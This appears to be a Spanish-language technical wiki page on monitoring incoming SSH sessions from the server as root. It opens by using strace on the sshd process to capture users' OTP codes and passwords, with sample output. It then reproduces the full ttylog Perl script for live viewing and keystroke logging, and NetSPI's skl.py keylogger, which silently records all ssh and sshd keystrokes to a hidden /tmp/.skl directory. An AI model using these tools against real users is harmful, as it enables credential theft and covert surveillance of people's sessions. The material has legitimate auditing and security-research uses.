===== Visualizar / Espiar / Registrar en tiempo real una sesión SSH entrante (strace) =====
Obtener desde el servidor con strace el código de verificación OTP y la contraseña utilizada en conexiones SSH entrantes.
ssh dominio.com
Verification code: # AAAAAA
Password: # XXXXXX
Desde dominio.com depuramos el proceso "sshd [priv]".
root:/home/busi $ ps aux | grep -i sshd
root 2220 0.0 0.0 104292 6972 ? Ss 20:44 0:00 sshd: mari [priv]
nobody 2221 0.0 0.0 46716 2896 ? S 20:44 0:00 sshd: mari [net]
root 2222 0.0 0.0 104292 3160 ? S 20:44 0:00 sshd: mari [pam]
strace -p 2220 | grep -i "write|\read"
read(6, "l\0\0\0\1\0\0\0\6AAAAAA", 15) = 15
write(4, "\0\0\0\v\6", 5) = 5
write(4, "\0\0\0\6AAAAAA", 10) = 10
write(6, "\0\0\0\5m", 5) = 5
write(6, "\0\0\0\1", 4) = 4
poll([{fd=6, events=POLLIN}, {fd=7, events=POLLIN}], 2, -1) = 1 ([{fd=6, revents=POLLIN}])
read(6, "\0\0\0\1", 4) = 4
read(6, "j", 1) = 1
read(4, "\0\0\0\17", 4) = 4
read(4, "\1\0\0\0\nPassword: ", 15) = 15
write(6, "\0\0\0'k", 5) = 5
write(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\nPassword"..., 38) = 38
poll([{fd=6, events=POLLIN}, {fd=7, events=POLLIN}], 2, -1) = 1 ([{fd=6, revents=POLLIN}])
read(6, "\0\0\0\17", 4) = 4
read(6, "l\0\0\0\1\0\0\0\6XXXXXX", 15) = 15
write(4, "\0\0\0\v\6", 5) = 5
write(4, "\0\0\0\6XXXXXX", 10) = 10
**Formas de averiguar cuantos usuarios hay conectados mediante ssh en un sistema**.
echo $SSH_CLIENT
w
who
last
pinky
netstat -putan | grep -i ssh
==== ttylog ====
Con este script en perl presentado llamado ttylog se puede registrar y visualizar en tiempo real todo lo realizado en una sesión ssh desde el lado del servidor. Cuando alguien conecte vía ssh con el servidor, es factible ver exactamente lo que el cliente ve en su consola, incluso cuando el cliente redimensiona la terminal, todo en tiempo real.
También es factible registrar la sesión en un fichero log para después analizarlo y saber qué comandos se introdujeron durante la sesión, la salida de los mismos e incluso las pulsaciones de teclado que realizó el cliente (passwords, combinaciones de teclas, etc).
**Sintaxis y forma de uso de ttylog**.
Ver en tiempo real la sesión SSH. Indicamos la terminal donde está la sesión ssh del cliente.
ttylog pts/2
Registrar en un fichero la sesión SSH del cliente para un posterior análisis.
ttylog -t pts/2 -o ssh_XXX.log
Teniendo un fichero de log previo, usamos la opción -r para leerlo y extraer su contenido.
El contenido a extraer puede ser relacionado con el ancho de banda (-b), pulsaciones de teclas (-i) o la salida de los comandos (-o).
ttylog -r file [ -b file ] [ -i file ] [ -o file ]
El script utiliza "pstrace" para auditar todo lo que sucede en el proceso sshd de una sesión SSH.
mari 6071 0.0 0.0 122272 2072 ? S 02:16 0:00 sshd: mari@pts/3
Es factible si no se tiene el script a mano, realizar este comando para registrar la sesión y posteriormente obtener una salida legible con el script.
Suponiendo que al proceso anteriormente comentado se le haya asignado un numero de proceso 6071, se podría ejecutar el siguiente comando.
strace -e read write -q -s 16384 -x -p 6071 -o sesion.txt
Después podemos limpiar el registro de log con el script de esta forma.
ttylog -r sesion.txt -o
Extraer las pulsaciones de teclado de la sesión SSH.
ttylog -r sesion.txt--input pulsaciones_sesion
#!/usr/bin/perl -w
use strict;
use Getopt::Long qw(GetOptions);
use IO::Handle;
our $VERSION = "0.85";
sub usage {
print < \$tty,
"write:s" => \$write,
"read:s" => \$read,
"bandwidth:s" => \$bandwidth,
"input:s" => \$input,
"output:s" => \$output,
help => \$help,
;
usage() if $help || @ARGV;
if ($read and !$bandwidth && !$input && !$output) {
# Default output to stdout if no action specified
$output = "-";
}
if ($good) {
if ($read && $write) {
warn "Cannot specify both --read and --write options\n";
$good = 0;
} elsif ($read && $tty) {
warn "Cannot specify both --read and --tty options\n";
$good = 0;
} elsif (!$read && !$tty) {
warn "Must specify either --read or --tty option\n";
$good = 0;
}
}
unless ($good) { sleep 2; usage(); }
if ($tty) {
# This is write mode
# Need to attach to tty
if ($tty !~ m%^pts/\d+$%) {
warn "Unrecognized psuedo terminal [$tty]\n";
exit;
}
if (!$write) {
# No write file specified
# Generate a random one
$write = (getpwuid $<)[7];
$write .= "/";
my @r = ("A".."Z");
for (my $i = 0 ; $i < 32 ; $i++) {
$write .= $r[rand @r];
}
$write .= ".trace";
warn "DEBUG: Auto-generated write file [$write]\n";
}
warn "DEBUG: Scanning for psuedo terminal $tty\n";
if (-e "/dev/$tty") {
warn "DEBUG: Psuedo terminal [$tty] found.\n";
my $ps = `ps fauwwx`;
if ($ps =~ /\n(\S+)\s+(\d+)\s+\S+\s+\S+\s+\S+\s+\S+\s+\?\s+\S+\s+\S+\s+\S+\s+\S+[\|\\_ ]+\S*\bsshd\b.*\n\S+\s+\S+\s+\S+\s+\S+\s+\S+\s+\S+\s+$tty\s/) {
my $user = $1;
my $pid = $2;
pipe(RDERR, WRERR);
my $fork = fork();
if ($fork) {
# Parent process
$0 = "waiting for $tty ($fork)";
close(WRERR);
my $STDERR = "";
while () {
if (/^DEBUG:/) {
print STDERR;
} else {
$STDERR .= $_;
}
}
my $wait = waitpid($fork, 0);
my $autopsy = $?;
my $exit = $autopsy >> 8;
my $signal = $autopsy & 127;
my $dumped = ($autopsy & 128) >> 7;
if ($exit) {
if ($STDERR =~ /^exec:/m) {
die "strace: FAILED! Could not execute. Not installed?\n";
} else {
die "strace: [$exit] [$signal] [$dumped] Unknown CRASH!\n$STDERR\n";
}
}
if ($STDERR) {
if ($STDERR =~ /attach: ptrace.*PTRACE_ATTACH/) {
die "ttylog: FAILED! kernel does not permit ptrace syscall onto $pid!\nttylog: Not enough privileges?\nttylog: Or someone else is already monitoring $tty?\n";
}
die "strace: Unrecognized behavior!\n$STDERR\n";
}
# Normal operation
warn "\nTTY EOF\n";
exit;
} elsif (defined $fork) {
# Child process
close(RDERR);
open (STDERR, ">&WRERR");
warn "DEBUG: Found parent sshd pid [$pid] for user [$user]\n";
exec "strace","-e","read,write","-s16384","-q","-x","-o",$write,"-p",$pid
or die "exec: $!";
} else {
# No process
die "UNABLE TO FORK! $!";
}
} else {
die "Unable to locate corresponding ssh session for [$tty]\n";
}
} else {
die "Psuedo terminal [$tty] currently does NOT exist.\n";
}
}
# This is read mode
# Need to scan the trace file and perform the desired logging
$| = 1;
my $fd_bandwidth = undef;
my $fd_keyboard = undef;
my $fd_terminal = undef;
if (open TRACE, $read) {
my $fds = {};
while () {
if (/(read|write)\((\d+), "(.*)"/) {
my $op = $1;
my $fd = $2;
$fds->{$fd} = { op => $op, data => $3 };
my @fds = sort {$a <=> $b} keys %{ $fds };
if (3 <= @fds) {
($fd_bandwidth, $fd_keyboard, $fd_terminal) = @fds;
last;
}
if (!$input and
2 <= @fds and
$op eq "write" and
$fd < $fds[1] and
$fds->{$fds[1]}->{op} eq "read") {
# We don't care about logging keystrokes but found terminal outut.
# This is all we need, so just kick out now.
($fd_bandwidth, $fd_terminal) = @fds;
my $sent = $fds->{$fds[1]}->{data};
chomp $sent;
warn "DEBUG: DETECTED TERMINAL OUTPUT: $sent\n";
last;
}
} else {
warn "DEBUG: Unrecognized trace line: $_";
}
}
} else {
die "$read: Could not open for reading: $!\n";
}
die "ttylog: Unable to determine session parameters from trace data.\n" if !$fd_terminal;
my $buffer_bytes = 0;
my $buffer_since = time();
if ($output) {
my $pid = fork;
if (defined $pid) {
if ($pid) {
waitpid($pid, 0);
} else {
open STDOUT, ">>$output";
exec("clear") or die "exec: $!";
}
}
}
while () {
if ($input && /write\($fd_keyboard, "(.*)"/) {
my $s = $1;
$s =~ s/\\\\/\\/g;
$s =~ s/\\r/[ENTER]\n/g;
$s =~ s/\\n/^J/g;
$s =~ s/\\x1b\\x5b\\x41/[UP]/g;
$s =~ s/\\x1b\\x5b\\x42/[DOWN]/g;
$s =~ s/\\x1b\\x5b\\x43/[RIGHT]/g;
$s =~ s/\\x1b\\x5b\\x44/[LEFT]/g;
$s =~ s/\\x(0[1-9a-f]|1[0-9a])/sprintf "^%c", (64+hex $1)/eg;
if (open KEYS, ">>$input") {
KEYS->autoflush(1);
print KEYS $s;
close KEYS;
}
}
if ($output && /read\($fd_terminal, "(.*)"/) {
my $s = $1;
$s =~ s/\\x(..)/chr hex $1/eg;
$s =~ s/\\t/\t/g;
$s =~ s/\\r/\r/g;
$s =~ s/\\n/\n/g;
$s =~ s/\\\\/\\/g;
if (open OUT, ">>$output") {
OUT->autoflush(1);
print OUT $s;
close OUT;
}
}
if ($bandwidth && /(read|write)\($fd_bandwidth,.*= (\d+)$/) {
my $direction = $1;
my $bytes = $2;
$buffer_bytes += $bytes;
if (time - $buffer_since > 5) {
$buffer_since = time;
if (open BYTES, ">>$bandwidth") {
BYTES->autoflush(1);
print BYTES time()," $buffer_bytes .\n";
close BYTES;
$buffer_bytes = 0;
}
}
}
}
if ($bandwidth && $buffer_bytes) {
if (open BYTES, ">>$bandwidth") {
BYTES->autoflush(1);
print BYTES time()," $buffer_bytes .\n";
close BYTES;
}
}
=pod
=head1 NAME
ttylog - Log tty sessions
$Id: ttylog,v 1.23 2011/12/19 15:45:41 rob Exp $
=head1 SYNOPSIS
ttylog tty
or
ttylog -t tty [ -w file ]
or
ttylog -r file [ -b file ] [ -i file ] [ -o file ]
=head1 EXAMPLE
Type "w" to obtain the desired tty:
[root@host root]# w
9:01am up 81 days, 16:06, 5 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 admin.com 8:19am 0.00s 0.39s 0.05s w
joe pts/1 workstation.wi 8:02am 39:33 2.63s 2.19s pine
hacker pts/4 client.isp.com 8:45am 5.00s 27.95s 1.45s vim devil.cfg
[root@host root]#
Then connect to monitor what is being typed or what is seen through the tty:
[root@host root]# ttylog pts/4
=head1 OPTIONS
There are three modes:
DIRECT (tty): Show terminal output for a given tty to stdout.
This means that you will see whatever the user sees.
WRITE (-t tty): Attach to a tty and log the I/O to a trace
file for future analysis.
READ (-r file): Analyze a trace file for key strokes or for
terminal output or for bandwidth usage.
--tty tty
Specify which psuedo terminal to use
Example: --tty pts/1
--write file
Save the packet data to a file for later analysis
Example: --write trace.log
--read file
Read from a saved packet file
Example: --read trace.log
--bandwidth file
Log network bandwidth used to a file
Example: --bandwidth ssh.bytes_log
--input file
Log keystrokes sent to terminal to a file
Example: --input keyboard.log
--output file
Log terminal output to a file
Example: --output terminal.log
--help
Show this usage message.
Note that all options may be abbreviated, i.e., "-h" is the same as "--help".
=head1 DESCRIPTION
This utility is intended for attaching to currently running tty sessions
for the purposes of administration, shell assisting, bandwidth tracking,
and logging for debugging or training. Unlike other tty sniffers, this
utility does not require any patches to the kernel or any system
configuration modifications or tweaking. You can even install it AFTER
someone has logged in and connect on the fly to instantly view their
session which has already been currently running for a long time.
=head1 DISCLAIMER
Please be sensitive to the privacy of others! The author will not be
held liable for any violation of privacy or damage that may be caused
by unauthorized use of this utility. It is left to the discretion of
the user of this application to deem what is appropriate.
=head1 REQUIREMENTS
This utility has been designed and is only known with work under the
Linux platform, specifically the RedHat flavor, but possibly others.
It requires that the strace utility be installed within the PATH.
It assumes the tty sessions to be logged have been created from the sshd server.
It does not work for terminal logins directly from the console.
You must be the root user for permissions to use this program effectively.
It is recommended that you have a very large screen and maximize your
client because you will be seeing the terminal in the same dimensions
as the tty of the user you are connecting to and you might not be able
to see everything if your screen is constantly wrapping.
The user must type at least one character to begin monitoring.
Also, it is not recommended to log your own tty session as it may
cause an infinite loop. If you really need to log your session, just
send it to a trace file (using -w) and analyze it later (using -r) after
your session is finished.
=head1 AUTHOR
Rob Brown rob@asquad.com
A-Squad.Com
=head1 COPYRIGHT
Copyright 2004-2011
All rights reserved
Artistic License
=head1 SEE ALSO
w(1)
strace(1)
=head1 VERSION
$Id: ttylog,v 1.23 2011/12/19 15:45:41 rob Exp $
=cut
Otra alternativa es otro script, que permite registrar las pulsaciones de teclado (no passwords) de sesiones ssh tanto entrantes como salientes. No se puede utilizar para auditar passwords ni la salida de los comandos.
**Fuente**: [[https://github.com/NetSPI/skl/blob/master/skl.py]]
#!/usr/bin/python
"""This program logs all keystrokes sent to and from ssh and
sshd. It does this by attaching strace to a ssh process and parsing out the
keystrokes."""
from subprocess import Popen, PIPE
from re import split
from time import sleep
import threading
import re
import os
class Process(object):
"""Parses out the process list."""
def __init__(self, proc_info):
self.user = proc_info[0]
self.pid = proc_info[1]
self.cmd = proc_info[10]
try:
self.arg = proc_info[11]
except IndexError:
self.arg = ""
def find_sshd(self):
"""Returns ssh connections to the machine."""
if "pts" in self.arg:
return "New SSHD Incoming Connection: %s Running on PID %s" % \
(self.arg, self.pid)
def find_ssh(self):
"""Returns ssh connections from the machine."""
if self.cmd == "ssh":
return "New Outgoing connection from %s to %s with the PID %s" % \
(self.user, self.arg, self.pid)
def get_ps():
"""Retreives information from ps."""
proc_list = []
sub_proc = Popen(['ps', 'auxw'], shell=False, stdout=PIPE)
# Remove header
sub_proc.stdout.readline()
for line in sub_proc.stdout:
#Split based on whitespace
if "ssh" in line:
proc_info = split(" *", line.strip())
proc_list.append(Process(proc_info))
return proc_list
def keylogger_ssh(proc):
"""Keylogger for ssh."""
print "Starting Keylogger to montior %s connecting to %s on %s" % \
(proc.user, proc.arg, proc.pid)
# Open SSH process using strace
logger = Popen(['strace', '-s', '16384', '-p', proc.pid, "-e", \
"read"], shell=False, stdout=PIPE, stderr=PIPE)
# Open the log file
logfilename = DIR + proc.user + "_" + proc.arg + "_" + proc.pid +"_ssh.log"
logfile = open(logfilename,"a")
while True:
# Check to see if strace has closed
logger.poll()
# Read output from strace
output = logger.stderr.readline()
# Close log file if strace has ended
if not output and logger.returncode is not None:
print "Connection closed from %s PID %s" % (proc.arg, proc.pid)
logfile.close()
SSHPROCS.remove(proc.pid)
break
# Only log the user's input
if "read(" in output and ", 16384)" in output and "= 1" in output:
keystroke = re.sub(r'read\(.*, "(.*)", 16384\).*= 1', r'\1', \
output)
# Strip new linesps
keystroke = keystroke.rstrip('\n')
# convert \r to new line
keystroke = re.sub(r'\\r', r'\n', keystroke)
# convert \3 to a ^C
keystroke = re.sub(r'\\3', r'^C\n', keystroke)
# convert \4 to a ^D
keystroke = re.sub(r'\\4', r'^D\n', keystroke)
# convert \177 to \b
keystroke = re.sub(r'\\177', r'\\b', keystroke)
# convert \27 to \w
keystroke = re.sub(r'\\27', r'\\w', keystroke)
logfile.write(keystroke)
def keylogger_sshd(proc):
"""Keylogger for SSHD."""
print "Starting Keylogger to monitor %s connection on %s" % \
(proc.user, proc.pid)
# Open SSH process using strace
logger = Popen(['strace', '-s', '16384', '-p', proc.pid, "-e", \
"write"], shell=False, stdout=PIPE, stderr=PIPE)
# Open the log file
logfilename = DIR + proc.user + "_" + proc.pid +"_sshd.log"
logfile = open(logfilename,"a")
while True:
# Check to see if strace has closed
logger.poll()
# Read output from strace
output = logger.stderr.readline()
# Close log file if strace has ended
if not output and logger.returncode is not None:
print "Connection closed from %s PID %s" % (proc.arg, proc.pid)
logfile.close()
SSHPROCS.remove(proc.pid)
break
if "write" in output and ", 1)" in output:
keystroke = re.sub(r'write\(.*, "(.*)", 1\).*', r'\1', output)
# Strip new lines
keystroke = keystroke.rstrip('\n')
# convert \r to new line
keystroke = re.sub(r'\\r', r'\n', keystroke)
# convert \3 to a ^C
keystroke = re.sub(r'\\3', r'^C\n', keystroke)
# convert \4 to a ^D
keystroke = re.sub(r'\\4', r'^D\n', keystroke)
# convert \177 to \b
keystroke = re.sub(r'\\177', r'\\b', keystroke)
# convert \27 to \w
keystroke = re.sub(r'\\27', r'\\w', keystroke)
logfile.write(keystroke)
def check_ps():
"""Checks to see if any new ssh processes are running."""
pslist = get_ps()
for proc in pslist:
# Check to see if SSHD process is already monitored
if proc.find_sshd():
if proc.pid not in SSHPROCS:
SSHPROCS.append(proc.pid)
print proc.find_sshd()
tsshd = threading.Thread(target=keylogger_sshd, args=[proc])
tsshd.start()
# Check to see if SSH process is already monitored
elif proc.find_ssh():
if proc.pid not in SSHPROCS:
SSHPROCS.append(proc.pid)
print proc.find_ssh()
tssh = threading.Thread(target=keylogger_ssh, args=[proc])
tssh.start()
if __name__ == "__main__":
SSHPROCS = []
# Directory to save logs to
DIR = "/tmp/.skl/"
# How often to look for new processes
CHECKEVERY = 2
print "Logging SSH processes\n"
# Create log directory if it does not exist
if not os.path.exists(DIR):
os.makedirs(DIR)
# Check for new processes
while True:
check_ps()
sleep(CHECKEVERY)
===== Scribery =====
Proyecto Scribery: [[http://scribery.github.io/]]
El proyecto Scribery ofrece una serie de herramientas de código abierto para grabar sesiones de usuario en sistemas GNU/Linux. Permite la exportación en formato json de los datos en tiempo real a sistemas como Elasticsearch.